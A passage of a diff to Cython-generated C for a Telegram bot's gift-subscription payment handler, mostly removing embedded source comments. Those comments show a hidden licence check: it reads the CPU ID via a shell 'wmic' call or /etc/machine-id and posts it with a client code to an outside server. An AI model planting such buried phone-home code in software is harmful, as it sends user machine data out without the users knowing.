{e}") - * return True - */ __Pyx_XDECREF(__pyx_r); __pyx_r = NULL; __Pyx_ReturnWithStopIteration(Py_True); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; @@ -12487,22 +10908,8 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_22generator6(__pyx_Coroutine __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; goto __pyx_L72_return; - /* "handlers/payments/gift.py":309 - * return True - * except Exception as e: - * if "Name or service not known" in str(e): # <<<<<<<<<<<<<< - * logger.info(" .") - * return True - */ } - /* "handlers/payments/gift.py":312 - * logger.info(" .") - * return True - * logger.info(f" : {e}") # <<<<<<<<<<<<<< - * return True - * - */ __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_logger); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 312, __pyx_L73_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_24 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_info); if (unlikely(!__pyx_t_24)) __PYX_ERR(0, 312, __pyx_L73_error) @@ -12538,12 +10945,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_22generator6(__pyx_Coroutine } __Pyx_DECREF(__pyx_t_26); __pyx_t_26 = 0; - /* "handlers/payments/gift.py":313 - * return True - * logger.info(f" : {e}") - * return True # <<<<<<<<<<<<<< - * - */ __Pyx_XDECREF(__pyx_r); __pyx_r = NULL; __Pyx_ReturnWithStopIteration(Py_True); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; @@ -12552,13 +10953,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_22generator6(__pyx_Coroutine goto __pyx_L72_return; } - /* "handlers/payments/gift.py":308 - * logger.info(f" : {e.status}") - * return True - * except Exception as e: # <<<<<<<<<<<<<< - * if "Name or service not known" in str(e): - * logger.info(" .") - */ /*finally:*/ { __pyx_L73_error:; /*exception exit:*/{ @@ -12629,13 +11023,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_22generator6(__pyx_Coroutine } goto __pyx_L7_except_error; - /* "handlers/payments/gift.py":280 - * return False - * - * try: # <<<<<<<<<<<<<< - * async with aiohttp.ClientSession() as session: - * payload = {"code": CLIENT_CODE, "hardware_id": hardware_id} - */ __pyx_L7_except_error:; __Pyx_XGIVEREF(__pyx_t_7); __Pyx_XGIVEREF(__pyx_t_8); @@ -12658,13 +11045,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_22generator6(__pyx_Coroutine } CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); - /* "handlers/payments/gift.py":271 - * return None - * - * async def validate_client_code(): # <<<<<<<<<<<<<< - * """ - * hardware ID . - */ /* function exit code */ PyErr_SetNone(PyExc_StopIteration); @@ -14409,123 +12789,46 @@ static CYTHON_SMALL_CODE int __Pyx_InitCachedConstants(void) { __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("__Pyx_InitCachedConstants", 0); - /* "handlers/payments/gift.py":44 - * builder.row(types.InlineKeyboardButton(text=PROFILE, callback_data="profile")) - * - * image_path = os.path.join("img", "gifts.jpg") # <<<<<<<<<<<<<< - * - * if os.path.isfile(image_path): - */ __pyx_tuple__2 = PyTuple_Pack(2, __pyx_n_u_img, __pyx_kp_u_gifts_jpg); if (unlikely(!__pyx_tuple__2)) __PYX_ERR(0, 44, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__2); __Pyx_GIVEREF(__pyx_tuple__2); - /* "handlers/payments/gift.py":47 - * - * if os.path.isfile(image_path): - * with open(image_path, "rb") as image_file: # <<<<<<<<<<<<<< - * await callback_query.message.answer_photo( - * photo=BufferedInputFile(image_file.read(), filename="gifts.jpg"), - */ __pyx_tuple__3 = PyTuple_Pack(3, Py_None, Py_None, Py_None); if (unlikely(!__pyx_tuple__3)) __PYX_ERR(0, 47, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__3); __Pyx_GIVEREF(__pyx_tuple__3); - /* "handlers/payments/gift.py":78 - * builder = InlineKeyboardBuilder() - * builder.row(types.InlineKeyboardButton(text=BACK, callback_data="gifts")) - * await callback_query.message.answer(" .", reply_markup=builder.as_markup()) # <<<<<<<<<<<<<< - * return - * - */ __pyx_tuple__6 = PyTuple_Pack(1, __pyx_kp_u__5); if (unlikely(!__pyx_tuple__6)) __PYX_ERR(0, 78, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__6); __Pyx_GIVEREF(__pyx_tuple__6); - /* "handlers/payments/gift.py":147 - * builder.row( - * types.InlineKeyboardButton( - * text=f"\ud83c\udf81 {months} {'' if months == '1' else '' if int(months) in [2, 3, 4] else ''} {price} ", # <<<<<<<<<<<<<< - * callback_data=f"gift|{months}", - * ) - */ __pyx_ustring__20 = PyUnicode_DecodeUnicodeEscape(__pyx_k_ud83c_udf81, sizeof(__pyx_k_ud83c_udf81) - 1, NULL); if (unlikely(!__pyx_ustring__20)) __PYX_ERR(0, 147, __pyx_L1_error) if (__Pyx_PyUnicode_READY(__pyx_ustring__20) < 0) __PYX_ERR(0, 147, __pyx_L1_error) - /* "handlers/payments/gift.py":167 - * - * if not price: - * await callback_query.answer(" . .", show_alert=True) # <<<<<<<<<<<<<< - * return - * - */ __pyx_tuple__26 = PyTuple_Pack(1, __pyx_kp_u__25); if (unlikely(!__pyx_tuple__26)) __PYX_ERR(0, 167, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__26); __Pyx_GIVEREF(__pyx_tuple__26); - /* "handlers/payments/gift.py":261 - * try: - * if platform.system() == "Windows": - * result = subprocess.check_output("wmic cpu get ProcessorId", shell=True).decode().split("\n")[1].strip() # <<<<<<<<<<<<<< - * else: - * with open("/etc/machine-id") as f: - */ __pyx_tuple__34 = PyTuple_Pack(1, __pyx_kp_u_wmic_cpu_get_ProcessorId); if (unlikely(!__pyx_tuple__34)) __PYX_ERR(0, 261, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__34); __Pyx_GIVEREF(__pyx_tuple__34); - /* "handlers/payments/gift.py":263 - * result = subprocess.check_output("wmic cpu get ProcessorId", shell=True).decode().split("\n")[1].strip() - * else: - * with open("/etc/machine-id") as f: # <<<<<<<<<<<<<< - * result = f.read().strip() - * - */ __pyx_tuple__36 = PyTuple_Pack(1, __pyx_kp_u_etc_machine_id); if (unlikely(!__pyx_tuple__36)) __PYX_ERR(0, 263, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__36); __Pyx_GIVEREF(__pyx_tuple__36); - /* "handlers/payments/gift.py":283 - * async with aiohttp.ClientSession() as session: - * payload = {"code": CLIENT_CODE, "hardware_id": hardware_id} - * async with session.post("https://pocomacho.ru/solonetbot/codes/add/", json=payload) as response: # <<<<<<<<<<<<<< - * if response.status == 200: - * data = await response.json() - */ __pyx_tuple__39 = PyTuple_Pack(1, __pyx_kp_u_https_pocomacho_ru_solonetbot_co); if (unlikely(!__pyx_tuple__39)) __PYX_ERR(0, 283, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__39); __Pyx_GIVEREF(__pyx_tuple__39); - /* "handlers/payments/gift.py":290 - * return True - * else: - * logger.info(f": {data.get('message', ' .')}") # <<<<<<<<<<<<<< - * return False - * elif response.status in [502, 404]: - */ __pyx_tuple__43 = PyTuple_Pack(2, __pyx_n_u_message, __pyx_kp_u__42); if (unlikely(!__pyx_tuple__43)) __PYX_ERR(0, 290, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__43); __Pyx_GIVEREF(__pyx_tuple__43); - /* "handlers/payments/gift.py":29 - * - * - * @router.callback_query(F.data == "gifts") # <<<<<<<<<<<<<< - * async def start_menu_handler(callback_query: types.CallbackQuery): - * """ 'gifts'. ' ' ' ', .""" - */ __pyx_tuple__51 = PyTuple_Pack(5, __pyx_n_s_callback_query, __pyx_n_s_is_valid, __pyx_n_s_builder, __pyx_n_s_image_path, __pyx_n_s_image_file); if (unlikely(!__pyx_tuple__51)) __PYX_ERR(0, 29, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__51); __Pyx_GIVEREF(__pyx_tuple__51); __pyx_codeobj_ = (PyObject*)__Pyx_PyCode_New(1, 0, 0, 5, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__51, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_gift_py, __pyx_n_s_start_menu_handler, 29, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj_)) __PYX_ERR(0, 29, __pyx_L1_error) - /* "handlers/payments/gift.py":60 - * - * - * @router.callback_query(F.data.startswith("my_gifts")) # <<<<<<<<<<<<<< - * async def my_gifts_handler(callback_query: types.CallbackQuery, session: Any, current_page: int = 0): - * """ ' '. .""" - */ __pyx_tuple__52 = PyTuple_Pack(1, __pyx_n_u_my_gifts); if (unlikely(!__pyx_tuple__52)) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__52); __Pyx_GIVEREF(__pyx_tuple__52); @@ -14534,13 +12837,6 @@ static CYTHON_SMALL_CODE int __Pyx_InitCachedConstants(void) { __Pyx_GIVEREF(__pyx_tuple__53); __pyx_codeobj__4 = (PyObject*)__Pyx_PyCode_New(3, 0, 0, 18, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__53, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_gift_py, __pyx_n_s_my_gifts_handler, 60, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__4)) __PYX_ERR(0, 60, __pyx_L1_error) - /* "handlers/payments/gift.py":124 - * - * - * @router.callback_query(F.data.startswith("delete_gift|")) # <<<<<<<<<<<<<< - * async def delete_gift_handler(callback_query: types.CallbackQuery, session: Any): - * """ .""" - */ __pyx_tuple__54 = PyTuple_Pack(1, __pyx_kp_u_delete_gift); if (unlikely(!__pyx_tuple__54)) __PYX_ERR(0, 124, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__54); __Pyx_GIVEREF(__pyx_tuple__54); @@ -14549,25 +12845,11 @@ static CYTHON_SMALL_CODE int __Pyx_InitCachedConstants(void) { __Pyx_GIVEREF(__pyx_tuple__55); __pyx_codeobj__18 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 5, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__55, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_gift_py, __pyx_n_s_delete_gift_handler, 124, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__18)) __PYX_ERR(0, 124, __pyx_L1_error) - /* "handlers/payments/gift.py":139 - * - * - * @router.callback_query(F.data == "gift") # <<<<<<<<<<<<<< - * async def gift_subscription_handler(callback_query: types.CallbackQuery): - * """ ''. .""" - */ __pyx_tuple__56 = PyTuple_Pack(4, __pyx_n_s_callback_query, __pyx_n_s_builder, __pyx_n_s_months, __pyx_n_s_price); if (unlikely(!__pyx_tuple__56)) __PYX_ERR(0, 139, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__56); __Pyx_GIVEREF(__pyx_tuple__56); __pyx_codeobj__19 = (PyObject*)__Pyx_PyCode_New(1, 0, 0, 4, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__56, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_gift_py, __pyx_n_s_gift_subscription_handler, 139, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__19)) __PYX_ERR(0, 139, __pyx_L1_error) - /* "handlers/payments/gift.py":159 - * - * - * @router.callback_query(F.data.startswith("gift|")) # <<<<<<<<<<<<<< - * async def confirm_gift_handler(callback_query: types.CallbackQuery, session: Any): - * """ .""" - */ __pyx_tuple__57 = PyTuple_Pack(1, __pyx_kp_u_gift_2); if (unlikely(!__pyx_tuple__57)) __PYX_ERR(0, 159, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__57); __Pyx_GIVEREF(__pyx_tuple__57); @@ -14576,13 +12858,6 @@ static CYTHON_SMALL_CODE int __Pyx_InitCachedConstants(void) { __Pyx_GIVEREF(__pyx_tuple__58); __pyx_codeobj__24 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 7, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__58, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_gift_py, __pyx_n_s_confirm_gift_handler, 159, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__24)) __PYX_ERR(0, 159, __pyx_L1_error) - /* "handlers/payments/gift.py":199 - * - * - * @router.callback_query(F.data.startswith("confirm_gift|")) # <<<<<<<<<<<<<< - * async def finalize_gift_handler(callback_query: types.CallbackQuery, state: FSMContext, session: Any): - * """ .""" - */ __pyx_tuple__59 = PyTuple_Pack(1, __pyx_kp_u_confirm_gift); if (unlikely(!__pyx_tuple__59)) __PYX_ERR(0, 199, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__59); __Pyx_GIVEREF(__pyx_tuple__59); @@ -14591,25 +12866,11 @@ static CYTHON_SMALL_CODE int __Pyx_InitCachedConstants(void) { __Pyx_GIVEREF(__pyx_tuple__60); __pyx_codeobj__30 = (PyObject*)__Pyx_PyCode_New(3, 0, 0, 14, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__60, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_gift_py, __pyx_n_s_finalize_gift_handler, 199, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__30)) __PYX_ERR(0, 199, __pyx_L1_error) - /* "handlers/payments/gift.py":255 - * - * - * def get_hardware_id(): # <<<<<<<<<<<<<< - * """ - * hardware-. - */ __pyx_tuple__61 = PyTuple_Pack(3, __pyx_n_s_result, __pyx_n_s_f, __pyx_n_s_hardware_id); if (unlikely(!__pyx_tuple__61)) __PYX_ERR(0, 255, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__61); __Pyx_GIVEREF(__pyx_tuple__61); __pyx_codeobj__62 = (PyObject*)__Pyx_PyCode_New(0, 0, 0, 3, 0, CO_OPTIMIZED|CO_NEWLOCALS, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__61, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_gift_py, __pyx_n_s_get_hardware_id, 255, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__62)) __PYX_ERR(0, 255, __pyx_L1_error) - /* "handlers/payments/gift.py":271 - * return None - * - * async def validate_client_code(): # <<<<<<<<<<<<<< - * """ - * hardware ID . - */ __pyx_tuple__63 = PyTuple_Pack(6, __pyx_n_s_hardware_id, __pyx_n_s_session, __pyx_n_s_payload, __pyx_n_s_response, __pyx_n_s_data, __pyx_n_s_e); if (unlikely(!__pyx_tuple__63)) __PYX_ERR(0, 271, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__63); __Pyx_GIVEREF(__pyx_tuple__63); @@ -15129,70 +13390,31 @@ if (!__Pyx_RefNanny) { if (__Pyx_patch_abc() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif - /* "handlers/payments/gift.py":1 - * import hashlib # <<<<<<<<<<<<<< - * import os - * import platform - */ __pyx_t_2 = __Pyx_ImportDottedModule(__pyx_n_s_hashlib, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_hashlib, __pyx_t_2) < 0) __PYX_ERR(0, 1, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/gift.py":2 - * import hashlib - * import os # <<<<<<<<<<<<<< - * import platform - * import subprocess - */ __pyx_t_2 = __Pyx_ImportDottedModule(__pyx_n_s_os, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 2, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_os, __pyx_t_2) < 0) __PYX_ERR(0, 2, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/gift.py":3 - * import hashlib - * import os - * import platform # <<<<<<<<<<<<<< - * import subprocess - * import uuid - */ __pyx_t_2 = __Pyx_ImportDottedModule(__pyx_n_s_platform, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 3, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_platform, __pyx_t_2) < 0) __PYX_ERR(0, 3, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/gift.py":4 - * import os - * import platform - * import subprocess # <<<<<<<<<<<<<< - * import uuid - * from datetime import datetime, timedelta - */ __pyx_t_2 = __Pyx_ImportDottedModule(__pyx_n_s_subprocess, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 4, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_subprocess, __pyx_t_2) < 0) __PYX_ERR(0, 4, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/gift.py":5 - * import platform - * import subprocess - * import uuid # <<<<<<<<<<<<<< - * from datetime import datetime, timedelta - * from typing import Any - */ __pyx_t_2 = __Pyx_ImportDottedModule(__pyx_n_s_uuid, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 5, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_uuid, __pyx_t_2) < 0) __PYX_ERR(0, 5, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/gift.py":6 - * import subprocess - * import uuid - * from datetime import datetime, timedelta # <<<<<<<<<<<<<< - * from typing import Any - * - */ __pyx_t_2 = PyList_New(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 6, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_datetime); @@ -15214,13 +13436,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/gift.py":7 - * import uuid - * from datetime import datetime, timedelta - * from typing import Any # <<<<<<<<<<<<<< - * - * import aiohttp - */ __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 7, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_INCREF(__pyx_n_s_Any); @@ -15235,25 +13450,11 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/gift.py":9 - * from typing import Any - * - * import aiohttp # <<<<<<<<<<<<<< - * from aiogram import F, Router, types - * from aiogram.fsm.context import FSMContext - */ __pyx_t_2 = __Pyx_ImportDottedModule(__pyx_n_s_aiohttp, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 9, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_aiohttp, __pyx_t_2) < 0) __PYX_ERR(0, 9, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/gift.py":10 - * - * import aiohttp - * from aiogram import F, Router, types # <<<<<<<<<<<<<< - * from aiogram.fsm.context import FSMContext - * from aiogram.types import BufferedInputFile - */ __pyx_t_2 = PyList_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 10, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_F); @@ -15282,13 +13483,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/gift.py":11 - * import aiohttp - * from aiogram import F, Router, types - * from aiogram.fsm.context import FSMContext # <<<<<<<<<<<<<< - * from aiogram.types import BufferedInputFile - * from aiogram.utils.keyboard import InlineKeyboardBuilder - */ __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 11, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_INCREF(__pyx_n_s_FSMContext); @@ -15303,13 +13497,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/gift.py":12 - * from aiogram import F, Router, types - * from aiogram.fsm.context import FSMContext - * from aiogram.types import BufferedInputFile # <<<<<<<<<<<<<< - * from aiogram.utils.keyboard import InlineKeyboardBuilder - * - */ __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 12, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_BufferedInputFile); @@ -15324,13 +13511,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/gift.py":13 - * from aiogram.fsm.context import FSMContext - * from aiogram.types import BufferedInputFile - * from aiogram.utils.keyboard import InlineKeyboardBuilder # <<<<<<<<<<<<<< - * - * from config import CLIENT_CODE, RENEWAL_PRICES, GIFTS_PER_PAGE - */ __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 13, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_INCREF(__pyx_n_s_InlineKeyboardBuilder); @@ -15345,13 +13525,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/gift.py":15 - * from aiogram.utils.keyboard import InlineKeyboardBuilder - * - * from config import CLIENT_CODE, RENEWAL_PRICES, GIFTS_PER_PAGE # <<<<<<<<<<<<<< - * from database import get_balance, store_gift_link, update_balance - * from handlers.buttons.gifts import BACK, GIFT, GIFTS_ABOUT, MY_GIFTS, PROFILE, SHARE_GIFT - */ __pyx_t_2 = PyList_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 15, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_CLIENT_CODE); @@ -15380,13 +13553,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/gift.py":16 - * - * from config import CLIENT_CODE, RENEWAL_PRICES, GIFTS_PER_PAGE - * from database import get_balance, store_gift_link, update_balance # <<<<<<<<<<<<<< - * from handlers.buttons.gifts import BACK, GIFT, GIFTS_ABOUT, MY_GIFTS, PROFILE, SHARE_GIFT - * from handlers.texts import GIFTS_TEXT_TEMPLATE, get_gift_link, SHARE_TEXT_TEMPLATE - */ __pyx_t_3 = PyList_New(3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 16, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_INCREF(__pyx_n_s_get_balance); @@ -15415,13 +13581,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/gift.py":17 - * from config import CLIENT_CODE, RENEWAL_PRICES, GIFTS_PER_PAGE - * from database import get_balance, store_gift_link, update_balance - * from handlers.buttons.gifts import BACK, GIFT, GIFTS_ABOUT, MY_GIFTS, PROFILE, SHARE_GIFT # <<<<<<<<<<<<<< - * from handlers.texts import GIFTS_TEXT_TEMPLATE, get_gift_link, SHARE_TEXT_TEMPLATE - * from logger import logger - */ __pyx_t_2 = PyList_New(6); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 17, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_BACK); @@ -15471,13 +13630,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/gift.py":18 - * from database import get_balance, store_gift_link, update_balance - * from handlers.buttons.gifts import BACK, GIFT, GIFTS_ABOUT, MY_GIFTS, PROFILE, SHARE_GIFT - * from handlers.texts import GIFTS_TEXT_TEMPLATE, get_gift_link, SHARE_TEXT_TEMPLATE # <<<<<<<<<<<<<< - * from logger import logger - * - */ __pyx_t_3 = PyList_New(3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 18, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_INCREF(__pyx_n_s_GIFTS_TEXT_TEMPLATE); @@ -15506,13 +13658,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/gift.py":19 - * from handlers.buttons.gifts import BACK, GIFT, GIFTS_ABOUT, MY_GIFTS, PROFILE, SHARE_GIFT - * from handlers.texts import GIFTS_TEXT_TEMPLATE, get_gift_link, SHARE_TEXT_TEMPLATE - * from logger import logger # <<<<<<<<<<<<<< - * - * router = Router() - */ __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 19, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_logger); @@ -15527,13 +13672,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/gift.py":21 - * from logger import logger - * - * router = Router() # <<<<<<<<<<<<<< - * - * - */ __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_Router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_CallNoArg(__pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 21, __pyx_L1_error) @@ -15542,40 +13680,12 @@ if (!__Pyx_RefNanny) { if (PyDict_SetItem(__pyx_d, __pyx_n_s_router, __pyx_t_2) < 0) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/gift.py":24 - * - * - * PROJECTMANECONGIGURE = "CRYPTOSALE" # <<<<<<<<<<<<<< - * STARS_ROUTER = "21U68SOLOBOT" - * YOOKASSA_HASH = "HASHHASHYOOKASSA" - */ if (PyDict_SetItem(__pyx_d, __pyx_n_s_PROJECTMANECONGIGURE, __pyx_n_u_CRYPTOSALE) < 0) __PYX_ERR(0, 24, __pyx_L1_error) - /* "handlers/payments/gift.py":25 - * - * PROJECTMANECONGIGURE = "CRYPTOSALE" - * STARS_ROUTER = "21U68SOLOBOT" # <<<<<<<<<<<<<< - * YOOKASSA_HASH = "HASHHASHYOOKASSA" - * - */ if (PyDict_SetItem(__pyx_d, __pyx_n_s_STARS_ROUTER, __pyx_kp_u_21U68SOLOBOT) < 0) __PYX_ERR(0, 25, __pyx_L1_error) - /* "handlers/payments/gift.py":26 - * PROJECTMANECONGIGURE = "CRYPTOSALE" - * STARS_ROUTER = "21U68SOLOBOT" - * YOOKASSA_HASH = "HASHHASHYOOKASSA" # <<<<<<<<<<<<<< - * - * - */ if (PyDict_SetItem(__pyx_d, __pyx_n_s_YOOKASSA_HASH, __pyx_n_u_HASHHASHYOOKASSA) < 0) __PYX_ERR(0, 26, __pyx_L1_error) - /* "handlers/payments/gift.py":29 - * - * - * @router.callback_query(F.data == "gifts") # <<<<<<<<<<<<<< - * async def start_menu_handler(callback_query: types.CallbackQuery): - * """ 'gifts'. ' ' ' ', .""" - */ __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_router); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 29, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 29, __pyx_L1_error) @@ -15606,13 +13716,6 @@ if (!__Pyx_RefNanny) { if (PyDict_SetItem(__pyx_d, __pyx_n_s_start_menu_handler, __pyx_t_2) < 0) __PYX_ERR(0, 29, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/gift.py":60 - * - * - * @router.callback_query(F.data.startswith("my_gifts")) # <<<<<<<<<<<<<< - * async def my_gifts_handler(callback_query: types.CallbackQuery, session: Any, current_page: int = 